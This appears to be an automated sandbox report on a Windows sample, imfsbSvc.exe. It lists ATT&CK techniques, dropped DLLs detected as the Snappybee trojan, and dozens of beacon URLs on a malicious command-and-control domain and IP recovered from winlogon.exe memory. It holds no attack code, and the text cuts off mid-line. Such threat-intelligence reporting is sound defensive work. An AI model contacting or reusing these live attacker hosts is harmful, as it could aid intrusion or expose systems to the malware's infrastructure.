Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Service Execution	1 Windows Service	1 Windows Service	1 Modify Registry	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	212 Process Injection	11 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	212 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	12 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
imfsbSvc.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\IObit\DgApi.dll	37%	ReversingLabs	Win64.Trojan.Snappybee
C:\ProgramData\IObit\imfsbDll.dll	39%	ReversingLabs	Win64.Trojan.Snappybee
C:\ProgramData\IObit\imfsbSvc.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
http://esh.hoovernamosong.com/00000000006C584400000000006C5844	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007F90EB00000000007F90EBVW)	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/000000000075401D000000000075401D	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/0000000000801B490000000000801B49&	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/Z	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000006D7A0F00000000006D7A0F	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/000000000075BC61000000000075BC61l	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000006BF3EC00000000006BF3EC7	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007704620000000000770462Z	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/000000000075BC61000000000075BC61	0%	Avira URL Cloud	safe
HTTP://esh.hoovernamosong.com:80=	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/W	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/000000000072B607000000000072B607t	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/0000000000791B7A0000000000791B7A	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/0000000000742A380000000000742A38	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007704620000000000770462c	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/0000000000801B490000000000801B49-	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007AF52C00000000007AF52C21	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007BF22900000000007BF2291	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/0000000000797AE00000000000797AE04	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007AF52C00000000007AF52Ct/	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007BF22900000000007BF2294	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007916B700000000007916B71	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000006D7F8E00000000006D7F8E	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007F959F00000000007F959F21G	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/0000000000797AE00000000000797AE01U	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007E312D00000000007E312D(	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/g	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/000000000075550C000000000075550C1	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000006D7A0F00000000006D7A0FKD	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007BF22900000000007BF2291U	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/ing	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/0000000000801B490000000000801B49mpJ	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007916B700000000007916B7	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/0000000000746D3C0000000000746D3C&	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007709530000000000770953z	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000006C533300000000006C5333mp	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000006BEECC00000000006BEECC	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/0000000000722F620000000000722F62	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000006D7F8E00000000006D7F8EB	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007F90EB00000000007F90EB/	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/0000000007BF22900000000007BF229	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000006D7A0F00000000006D7A0FingWud	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/rnamosong.com/0000000000706D110000000000706D11z	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000006C584400000000006C5844OIDInfo	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/0000000000801B490000000000801B491	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/0000000000742FC60000000000742FC6	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007709530000000000770953i	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000006C533300000000006C5333Drive=C:SystemRoot=C:	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/0000000000801B490000000000801B494	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007467CE00000000007467CEh	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007544B000000000007544B021	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007BF22900000000007BF229	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007F0BAE00000000007F0BAE21G	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/000000000075B7AE000000000075B7AEh	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007559CF00000000007559CFft	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000006C584400000000006C5844B	0%	Avira URL Cloud	safe
HTTPS://esh.hoovernamosong.com:443a	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/0000000000746D3C0000000000746D3C21	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007E312D00000000007E312D21	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007E312D00000000007E312D	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007F90EB00000000007F90EBI	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007467CE00000000007467CE	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/000000007709530000000000770953	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007704620000000000770462	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000006C533300000000006C5333fu	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007E312D00000000007E312Di	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/0000000000797AE00000000000797AE0	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/0000000000742FC60000000000742FC6Z	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000006FE06100000000006FE061	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007704620000000000770462t	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007E312D00000000007E312D1	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/000000000075B7AE000000000075B7AE=	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007AEFBD00000000007AEFBDz	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/0000000000742FC60000000000742FC6c	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000006BEECC00000000006BEECC)F	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/0000000000722F620000000000722F62iI	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007AEFBD00000000007AEFBDu	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000722F620000000000722F62iI	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000006AA45A00000000006AA45A	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007F0BAE00000000007F0BAEt4	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000006C533300000000006C53337	0%	Avira URL Cloud	safe
HTTPS://esh.hoovernamosong.com:443OSQ	0%	Avira URL Cloud	safe
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007709530000000000770953&	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000006AA45A00000000006AA45A)F	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007067B200000000007067B2	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/fu	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000006BF3EC00000000006BF3ECur	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/ft	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/0000000000742FC60000000000742FC61U	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007980100000000000798010i	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007BF79800000000007BF798i	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/000000000079801000000000007980101L	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/000000000072BB27000000000072BB27h	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/00000000007AF52C00000000007AF52Cft	0%	Avira URL Cloud	safe
http://esh.hoovernamosong.com/000000000072BB27000000000072BB27	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/000000000722A900000000000722A90	0%	Avira URL Cloud	safe
https://esh.hoovernamosong.com/00000000007E2C2B00000000007E2C2B	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
esh.hoovernamosong.com	160.16.200.77	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://esh.hoovernamosong.com/00000000006D7A0F00000000006D7A0F	true	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000006C584400000000006C5844	true	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/000000000075BC61000000000075BC61	true	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/000000000075401D000000000075401D	true	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/0000000000742A380000000000742A38	true	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/0000000000791B7A0000000000791B7A	true	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000006D7F8E00000000006D7F8E	true	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007916B700000000007916B7	true	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000006BEECC00000000006BEECC	true	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/0000000000722F620000000000722F62	true	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/0000000000742FC60000000000742FC6	true	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007BF22900000000007BF229	true	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007E312D00000000007E312D	true	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007467CE00000000007467CE	true	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007704620000000000770462	true	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/0000000000797AE00000000000797AE0	true	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000006FE06100000000006FE061	true	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000006AA45A00000000006AA45A	true	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007067B200000000007067B2	true	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/000000000072BB27000000000072BB27	true	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007E2C2B00000000007E2C2B	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://esh.hoovernamosong.com/000000000075BC61000000000075BC61l	winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/Z	winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007704620000000000770462Z	winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/0000000000801B490000000000801B49&	winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007F90EB00000000007F90EBVW)	winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000006BF3EC00000000006BF3EC7	winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/W	winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
HTTP://esh.hoovernamosong.com:80=	winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007704620000000000770462c	winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/000000000072B607000000000072B607t	winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/0000000000801B490000000000801B49-	winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/0000000000797AE00000000000797AE04	winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007AF52C00000000007AF52C21	winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007BF22900000000007BF2291	winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007AF52C00000000007AF52Ct/	winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007BF22900000000007BF2294	winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/g	winlogon.exe, 00000007.00000003.2000513636.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877612069.0000025DD7D23000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924432505.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061038448.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995141476.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052464971.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2350059952.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112188658.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945339271.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937655427.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071184180.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2849393759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/0000000000797AE00000000000797AE01U	winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007F959F00000000007F959F21G	winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000007916B700000000007916B71	winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/	winlogon.exe, 00000007.00000003.2000513636.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159758283.0000025DD7D45000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671430120.0000025DD8992000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877612069.0000025DD7D23000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924432505.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112188658.0000025DD7D40000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061038448.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995141476.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2735016113.0000025DD8992000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3072189853.0000025DD8960000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052464971.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://esh.hoovernamosong.com/00000000007E312D00000000007E312D(	winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/000000000075550C000000000075550C1	winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/ing	winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://esh.hoovernamosong.com/00000000006D7A0F00000000006D7A0FKD	winlogon.exe, 00000007.00000003.2399460401.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511318334.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227566835.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456222947.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613246139.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327054367.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 